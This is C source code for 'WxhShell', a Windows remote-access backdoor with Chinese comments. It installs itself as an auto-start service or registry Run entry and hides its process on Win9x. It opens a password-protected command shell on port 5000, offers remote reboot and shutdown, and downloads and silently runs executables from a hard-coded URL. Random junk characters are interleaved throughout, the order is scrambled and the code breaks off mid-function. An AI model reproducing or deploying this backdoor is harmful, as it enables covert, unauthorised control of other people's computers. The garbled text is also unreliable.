V p]gT&[iJ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :E_a0!' if(NULL == hInst ) return 0; j,-C{ K /iQ(3F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M"Y0jQ( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3YL
l;TP_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T0QvnIaP PlxIfL if (!NtQueryInformationProcess) return 0; "&o,yd% 2xxB\J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xyeA2Y if(!hProcess) return 0; 4g` jd )N!>= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zF&=U`v N|Cs=-+ CloseHandle(hProcess); WlwY <) X_ TiqV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NC"yDWnO' if(hProcess==NULL) return 0; rpV1y$n<F ?u$u?j|N HMODULE hMod; L'A)6^d@S char procName[255]; Y "jE' unsigned long cbNeeded; .zj0Jy8N E4%j. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [
!%R#+o=F u'5`[U
-! CloseHandle(hProcess); 2Aq~D@,9=: +s[\g>i if(strstr(procName,"services")) return 1; // 以服务启动 Ao.\ 2W<n5o return 0; // 注册表启动 <z)m%*lvU } g.DLfwI| 6[P-Ny{z // 主模块 6^F'|Wh int StartWxhshell(LPSTR lpCmdLine) |\9TvN^$` { *VeW?mY,P SOCKET wsl; |Ul,6K@f"5 BOOL val=TRUE; vT{ kL int port=0; k5BXirB struct sockaddr_in door; ocR dbmS lFG9=Wf if(wscfg.ws_autoins) Install(); [ AzO:A sfD5!Z9#1 port=atoi(lpCmdLine); {3\R|tZh,` J ++v@4Z if(port<=0) port=wscfg.ws_port; jA(vTR.` K?.e| WSADATA data; Ub$n |xn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L=!of{4Z(} *|:Q%xr- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vDj;>VE2b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cNK)5-
U door.sin_family = AF_INET; :<S<f% door.sin_addr.s_addr = inet_addr("127.0.0.1"); sH#X0fG door.sin_port = htons(port); -yH,5vD wTq{ sW& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `FF8ie 8L closesocket(wsl); ,^s0</ve return 1; 7{kP}? } .8gl< vX zd%rs~*c if(listen(wsl,2) == INVALID_SOCKET) { - xm{&0e) closesocket(wsl); :%rS
=f return 1; r`'y?Bra; } )q~DTR^z- Wxhshell(wsl); #&.]"
d WSACleanup(); jQs>`P-CM OEhHR return 0; x i~uv?f <v
0*]NiX } @I3eK^#|P G 7LIdn= // 以NT服务方式启动 c "=N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k\)Cw { "h"NW[R DWORD status = 0; ,yMU@Vg DWORD specificError = 0xfffffff; d=* x#In ;T +pu>) serviceStatus.dwServiceType = SERVICE_WIN32; N!&:rK serviceStatus.dwCurrentState = SERVICE_START_PENDING; `_X;.U.Mv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 95W?{>
@ serviceStatus.dwWin32ExitCode = 0; AvJ,SQt serviceStatus.dwServiceSpecificExitCode = 0; X"MU3] serviceStatus.dwCheckPoint = 0; VaONd0Z I serviceStatus.dwWaitHint = 0; kJ:F *34e= z;\d L hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CO+/.^s7}S if (hServiceStatusHandle==0) return; >ezi3Zx^ :nY2O status = GetLastError(); Y4.Eq+$gh if (status!=NO_ERROR) '])2k@o@ { 9O.Y OiW serviceStatus.dwCurrentState = SERVICE_STOPPED; * *H&+T/B serviceStatus.dwCheckPoint = 0; q%>'4_ serviceStatus.dwWaitHint = 0; `Mj}md;O" serviceStatus.dwWin32ExitCode = status; /t<@"BoV serviceStatus.dwServiceSpecificExitCode = specificError; ;TiUpg</_3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); [%A4]QzWh return; o PKr*
`' } T\s)le 7}O.wUKw% serviceStatus.dwCurrentState = SERVICE_RUNNING; )jrT6x^IB serviceStatus.dwCheckPoint = 0; -5l6&Y serviceStatus.dwWaitHint = 0; _?voU if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qZEoiNH(Tj } H5cV5E0 J<gJc*Q // 处理NT服务事件,比如:启动、停止 ZSy?T VOID WINAPI NTServiceHandler(DWORD fdwControl) ''OfS D_g { \vfBrN switch(fdwControl) 1_'? JfY- { YNrp}KQ case SERVICE_CONTROL_STOP: ^I6^g serviceStatus.dwWin32ExitCode = 0; V==z" serviceStatus.dwCurrentState = SERVICE_STOPPED; f&,{XZ serviceStatus.dwCheckPoint = 0; OX:O^ (-r, serviceStatus.dwWaitHint = 0; ZPN
roCK` { y;?ie]3G SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z+`{ 7G?4m } hd V1nS$ return; 39F
Of case SERVICE_CONTROL_PAUSE: l=N2lHU serviceStatus.dwCurrentState = SERVICE_PAUSED; XMB[h break; I
V%VU case SERVICE_CONTROL_CONTINUE: ajRSMcKb7i serviceStatus.dwCurrentState = SERVICE_RUNNING; P #F=c34u break; y %$O-q case SERVICE_CONTROL_INTERROGATE: *=ZsqOHwG break; U'UQ|%5f }; Ch()P.n? SetServiceStatus(hServiceStatusHandle, &serviceStatus); m@`8A } ,B&fFis I\?9+3 XnQ // 标准应用程序主函数 . #Z+Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "jecsqCgK0 { ,6!rR,0 plu$h-$d // 获取操作系统版本 p47S^gW OsIsNt=GetOsVer(); &bz:K8c GetModuleFileName(NULL,ExeFile,MAX_PATH); 1pv}]&X o~FRF0f*VP // 从命令行安装 49Df?sx if(strpbrk(lpCmdLine,"iI")) Install(); MaBYk?TR~ vkS)E0s // 下载执行文件 `I$<S(h7 if(wscfg.ws_downexe) { &Lt[WT$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \7MHaQvS WinExec(wscfg.ws_filenam,SW_HIDE); BYW^/B Y) } xCzebG[" Sx:Ur>?hd5 if(!OsIsNt) { &~UJf4b|A // 如果时win9x,隐藏进程并且设置为注册表启动 04%S+y.6&Y HideProc(); f\;65k_jq StartWxhshell(lpCmdLine); mDGn:oRj } .*$OQA else ]%uZ\Q;9p if(StartFromService()) %;D+k // 以服务方式启动 {
74mf'IW StartServiceCtrlDispatcher(DispatchTable); J`IDlGFYp else k+V6,V)my // 普通方式启动 ?6c-7QV StartWxhshell(lpCmdLine); .t&R>9cZ^ $rXh0g return 0; ~`>e5OgOJ } H4OhIxK G>YAJo 4E8JT#& EA.D}X C =========================================== N3t0-6$_ H9 C9P17 ?::NO Dg x#~ x;) 6b8;}],| =H0vE7 {* " ES <1tG =k3!RW' #include <stdio.h> wn
Y$fT9 #include <string.h> n[Zz]IO,g #include <windows.h> K|C^l;M6 #include <winsock2.h> lcON+j #include <winsvc.h> kE.x+2 #include <urlmon.h> 4fh^[\ %CZ-r"A #pragma comment (lib, "Ws2_32.lib") : FAH\ #pragma comment (lib, "urlmon.lib") 6,1b=2G 2c<&eX8" #define MAX_USER 100 // 最大客户端连接数 w.Ezg j #define BUF_SOCK 200 // sock buffer 6*9}4` #define KEY_BUFF 255 // 输入 buffer "HD+rmUEH jO9ip #define REBOOT 0 // 重启 ogM%N #define SHUTDOWN 1 // 关机 _2fkb=2@ R cY>k #define DEF_PORT 5000 // 监听端口 *IlaM'[* })vOaYT|- #define REG_LEN 16 // 注册表键长度 Gy1xG.yM~ #define SVC_LEN 80 // NT服务名长度 u^I(Ny RO\gax // 从dll定义API R8*Q$rH< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j^`X~gE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F}J-gZl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /9Q3iV$I] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nM=e]qH Y**|N8e // wxhshell配置信息 4!$
M q;U struct WSCFG { -7WW[
w int ws_port; // 监听端口 78n=nHS char ws_passstr[REG_LEN]; // 口令 2^~<("+w int ws_autoins; // 安装标记, 1=yes 0=no (-7ZI"Ku char ws_regname[REG_LEN]; // 注册表键名 R7oj# char ws_svcname[REG_LEN]; // 服务名 %v5R#14[n char ws_svcdisp[SVC_LEN]; // 服务显示名 jD){I char ws_svcdesc[SVC_LEN]; // 服务描述信息 e"-X U@`k1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W[[oSqp int ws_downexe; // 下载执行标记, 1=yes 0=no gOT+%Ab{_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )/4(e?%= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |sqZ $Mu R~L0{`
0 }; tc_f;S`k wYeB)1. // default Wxhshell configuration h*0S$p<[1 struct WSCFG wscfg={DEF_PORT, .=9s1~] "xuhuanlingzhe", y$Zj?Dd# 1, >1L=,M "Wxhshell", PZ:u_*Vu` "Wxhshell", I^*'.z!4Q "WxhShell Service", 1`f_P$&Z_J "Wrsky Windows CmdShell Service", @
\.;b9 "Please Input Your Password: ", "SWMk! 1, VeiElU3 "http://www.wrsky.com/wxhshell.exe", &zL#hBE "Wxhshell.exe" GYRYbiwqdi }; O@8pC+#`Z 7k{2Upg; // 消息定义模块 [}nK"4T"Ri char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m:tiY
[c>W char *msg_ws_prompt="\n\r? for help\n\r#>"; b yg0.+e0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <dA8
'7^ char *msg_ws_ext="\n\rExit."; u%|zc= char *msg_ws_end="\n\rQuit."; |YJCWFbs8 char *msg_ws_boot="\n\rReboot..."; Qx|H1_6 char *msg_ws_poff="\n\rShutdown..."; `znB7VQ0 char *msg_ws_down="\n\rSave to "; q)u2Y]
&'|B =7 char *msg_ws_err="\n\rErr!"; h4&;?T S char *msg_ws_ok="\n\rOK!"; :2V^K&2L v|Jlf$> char ExeFile[MAX_PATH]; hSqY$P int nUser = 0; &Y|Xd4: HANDLE handles[MAX_USER]; :@
uIxa$[ int OsIsNt; n_[i0x7# .W\ve>; SERVICE_STATUS serviceStatus; ,cTgR78' SERVICE_STATUS_HANDLE hServiceStatusHandle; "yb WDWu @`u?bnx]e // 函数声明 *a}(6Cx int Install(void); =Je>`{J int Uninstall(void); ~yJ4qp- int DownloadFile(char *sURL, SOCKET wsh); %:6?Y%`*[ int Boot(int flag); AWr}"r?s void HideProc(void); =Cf] int GetOsVer(void); db=$zIB[: int Wxhshell(SOCKET wsl); qG8s;_G void TalkWithClient(void *cs); r >{G`de4 int CmdShell(SOCKET sock); 0V,Nv9!S int StartFromService(void); )yee2(S
int StartWxhshell(LPSTR lpCmdLine); Y,z??bm~J u.|~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C.a5RF0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); TT!ET<ciN *}b]rjsj // 数据结构和表定义 /4S;QEv SERVICE_TABLE_ENTRY DispatchTable[] = %(m]) { 8 ,}ikOZ? {wscfg.ws_svcname, NTServiceMain}, n"{X!(RIcx {NULL, NULL} dT@UK^\ }; pck >;V Qez SJ
io // 自我安装 @98;VWY\ int Install(void) J}g~uW { )na&"bJ char svExeFile[MAX_PATH]; D!>
d0k,Y HKEY key; e$l6gY strcpy(svExeFile,ExeFile); LVtu*k 9Ld9N;rWm# // 如果是win9x系统,修改注册表设为自启动 <bmLy_": if(!OsIsNt) { 9w^zY;Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - V) R< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3P=w =~e RegCloseKey(key); z_SagU,\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <+E%E4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -e`;bX_N) RegCloseKey(key); -f>'RI95> return 0; I lG:X)V% } \P?ToTTV } L/r{xS } vE\lp8j+ else { q(]f]Vl|0 Cw1(5 // 如果是NT以上系统,安装为系统服务 3{J.xWB@: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?C;JJ#Ho if (schSCManager!=0) bkQ3c-C< { mN1Ssq"B SC_HANDLE schService = CreateService +uQB
rG ( &sOM>^SAD schSCManager, E20&hc5 8 wscfg.ws_svcname, ia{kab|_5 wscfg.ws_svcdisp, T!^Mvat SERVICE_ALL_ACCESS, }=GM?,7b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &TT":FPR SERVICE_AUTO_START, V/y=6wUiSl SERVICE_ERROR_NORMAL, 9{eBgdC svExeFile, cH"@d^"+q| NULL, gbGTG(:1S NULL, |O (G nsZ NULL, xb^Mo.\[ NULL, WcGXp$M NULL `BT*,6a ); {yq8<? if (schService!=0) TbNGgjT { [&VxaJ("3 CloseServiceHandle(schService); lizTRVBE CloseServiceHandle(schSCManager); !WKk=ysFS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(K
#A strcat(svExeFile,wscfg.ws_svcname);
f!g<3X{= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rihlae5Kz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tV`&-H RegCloseKey(key); Pz473d return 0; {'~sS } j[DIz@^ } vjTwv+B" CloseServiceHandle(schSCManager); :XS"#^aJ } ,P@QxnQ } <-)9>c:k gMZ&,n4 return 1; =lrN'$z?% } OV|Z=EwJ yX9B97XyC // 自我卸载 *Mi6 int Uninstall(void)
%0v*n8 { ;BTJ%F. HKEY key; )73DT3-0$ lG]GlgSs if(!OsIsNt) { WEC-<fN|Y\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |h,FUj<r RegDeleteValue(key,wscfg.ws_regname); oQvFrSz RegCloseKey(key); A?Sm-#n{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { faVS2TN4 RegDeleteValue(key,wscfg.ws_regname); s^PmnFR RegCloseKey(key); FOp_[rR
return 0; d| \#?W& } {Gkn_h-^ } &7F&}7*c } \X opU" else { z(UX't (q n\~yX<;X3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m|dF30~A if (schSCManager!=0) 7ukDS] { tJ>d4A;8x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7xDN.o*> if (schService!=0) zjWyGt(Q { }85#[~m' if(DeleteService(schService)!=0) { ^'Zh;WjI7 CloseServiceHandle(schService); SRk7gfP*q CloseServiceHandle(schSCManager); KgU[ return 0; YPQCOG } ~%G Ssm\J CloseServiceHandle(schService);
* D3 } w{ m#Yt CloseServiceHandle(schSCManager); 4H9xO[iM } Kz^ hQd } h>Rpb#] )fR1n}# return 1; UJs?9]x> } CU !.!cZ{ fW[.r== Kf // 从指定url下载文件 EQ~I'#m7 int DownloadFile(char *sURL, SOCKET wsh) 8 )`5P\ { #ZwY?T
x HRESULT hr; (QhAGk&lu char seps[]= "/"; ]eL~L_[G\ char *token; }'_ :XKLj char *file; -(ER4# char myURL[MAX_PATH]; h=mv9=x char myFILE[MAX_PATH]; <on)"{W13 Ko}7$2^ strcpy(myURL,sURL); A3!2"}L token=strtok(myURL,seps); $YR{f[+L
w while(token!=NULL) oG9SO^v_ { D2-O7e file=token; <v-92? token=strtok(NULL,seps); "lb\c } 6!o/~I# h@/>?Va GetCurrentDirectory(MAX_PATH,myFILE); LQ|<3] strcat(myFILE, "\\"); Ae3#>[]{ strcat(myFILE, file); 9&[\*{ send(wsh,myFILE,strlen(myFILE),0); '.xkn{c send(wsh,"...",3,0); {kv4g\a; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3g+\?L-c if(hr==S_OK) s-o~@(r6 return 0; 2f
/bEpi else 0MhxFoFO return 1; w7[0 zkvH=wL } gGD]t;<u [/n'@cjNZ // 系统电源模块 _c,&\ wl$ int Boot(int flag) uof0Oc. { s
UvKA0 HANDLE hToken; ,9+nfj TOKEN_PRIVILEGES tkp; *+# k{D, T)*l' g' if(OsIsNt) { uFa-QG^Y{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |HT)/UZ| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |c
BHBd tkp.PrivilegeCount = 1; Zj5NWzj
X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pzYG?9cwz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !vi4*
@: if(flag==REBOOT) { M |aQ)ivh3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oym]&SrbS return 0; >4Fdxa } !WDn7j'A else { 7E@$}&E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W'8J<VBD return 0; ;%lJD"yF } HXz iDnj } r{c5dQ
else { il<gjlyR]L if(flag==REBOOT) { )E_!rR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _p?I{1O return 0; 3<yCe%I: } ggzAU6J else { P'KY.TjWb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vsxvHot= return 0; "1E?3PFJ
} 3" 8t)s } F5Cqv0HV %YsRm%q return 1; B&to&|jf } BD<rQ mfA^ k{!iDZr&f, // win9x进程隐藏模块
s$e K66H void HideProc(void) D]3bwoFo&u { NO%|c|B| nau~i1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BNF++<s if ( hKernel != NULL ) s2kGU^]y { #p;4:IT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V/+H_=| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tm'l N5}&9 FreeLibrary(hKernel); 1KNkl,E } |Sy}d[VKsZ +<vqkc return; )@?Qt2 } bUpmU/RW f4qS OVv
// 获取操作系统版本 w`w `q' int GetOsVer(void) jKe$&.q@ { >:(6{}b OSVERSIONINFO winfo; =Td#2V;0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %>oT7|x GetVersionEx(&winfo); U<#$w{d: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hA$c.jJr.Z return 1; Vw6>:l<+< else j=zU7wz)D return 0; /i\uwa, } 0$Qn#K xV
}:M // 客户端句柄模块 Wl@0TUK int Wxhshell(SOCKET wsl) S S7D1 { x|P<F 2L SOCKET wsh; |sDG>Zq? struct sockaddr_in client; T=iZ9w DWORD myID; 7l4InR] woC
FN1W while(nUser<MAX_USER) MV:<w3! { Z)b)v int nSize=sizeof(client); ?et0W|^k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OdtbVF~ if(wsh==INVALID_SOCKET) return 1; ?ZD{e|:u !]UU;8h~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NG4eEnic!a if(handles[nUser]==0) QqT6P`0u closesocket(wsh); &eLQ;<qO*| else %m0L!|E nUser++; #Q!c42}M } s0`]!7D< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q*oA{eZY g6k&c"%IQ( return 0; '=@H2T6= } !nqm ;96 C_g"omw40 // 关闭 socket rA>A=, void CloseIt(SOCKET wsh) fS'k;r*r { )U3 H15 closesocket(wsh); 5r2ctde)Y nUser--; _tWfb}6;Zb ExitThread(0); )SlUQ7f> } 8/kx 3 HT1dvC$COo // 客户端请求句柄 LmT[N@>" void TalkWithClient(void *cs) 8{U]ATx'( { !Barc,kA 7o 83|s.Bm SOCKET wsh=(SOCKET)cs; W6!4Qyn char pwd[SVC_LEN]; 1' @lg*^9 char cmd[KEY_BUFF]; eO[Cb]Dy: char chr[1]; bo?3E +B int i,j; c=U$$|qHV 6#lC(ko' while (nUser < MAX_USER) { _g/TH-;^ /^es0$Co. if(wscfg.ws_passstr) { ,EGD8$RA] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d
>wmg*J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xSMp[j //ZeroMemory(pwd,KEY_BUFF); SBYMDKZ i=0; WEY97_@ while(i<SVC_LEN) { p7ns(g@9 W@uH!n>k // 设置超时 3Wtv+L7Br fd_set FdRead; &>wce5uV struct timeval TimeOut; dp%pbn6w FD_ZERO(&FdRead); G\aLg FD_SET(wsh,&FdRead); y:|Xg0Kp TimeOut.tv_sec=8; J,77pf!B TimeOut.tv_usec=0; ]oWZ{#r2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :6Pc m3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #|*,zIYo Q i'WV9ke if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,VcDvZ7 pwd=chr[0]; ^:rNoo if(chr[0]==0xd || chr[0]==0xa) { GJl@ag5h]! pwd=0; +8@`lDnr break; &l!{!f4 } po](6V i++; { ves@p>? } 35]G_\ >cr_^(UW& // 如果是非法用户,关闭 socket > Qbc(}w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?U9d3] W } p9] 7g% 2ZzD^:V[} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +h vIJv ? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "!_
4%z- 94k)a8-! while(1) { {-7yZ]OO$ EX_sJ c ZeroMemory(cmd,KEY_BUFF); MnrGD>M@| $rQFM[ // 自动支持客户端 telnet标准 QGCdeE$K j=0; r)@&2b"q while(j<KEY_BUFF) { ("M#R!3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |% YzGgp7 cmd[j]=chr[0]; :,z3:PL if(chr[0]==0xa || chr[0]==0xd) { zt>_)&b cmd[j]=0; _*?"[TYfX break; P@S;>t{TD } 8KELN(o$ 7 j++; 8iH;GFNJ7' } L)nVpqm BnnUUaE // 下载文件 q?]@' ^:; if(strstr(cmd,"http://")) { )D-.7m.v] send(wsh,msg_ws_down,strlen(msg_ws_down),0); _>)"+z^r if(DownloadFile(cmd,wsh)) "i<3}6/* send(wsh,msg_ws_err,strlen(msg_ws_err),0); MHT,rqG else w5/X{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `zOAltfd } g l\$jDC9 else { V-U
^O45 lX k-86[M switch(cmd[0]) { 2WECQl=r HF=C8ZtlL // 帮助 ]!J3?G case '?': { {$TB#=G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WyJfF=< break; A=[f>8 } 96E7hp !: // 安装 >@89k^#Vc case 'i': { 8\V>6^3CD$ if(Install()) e]B< |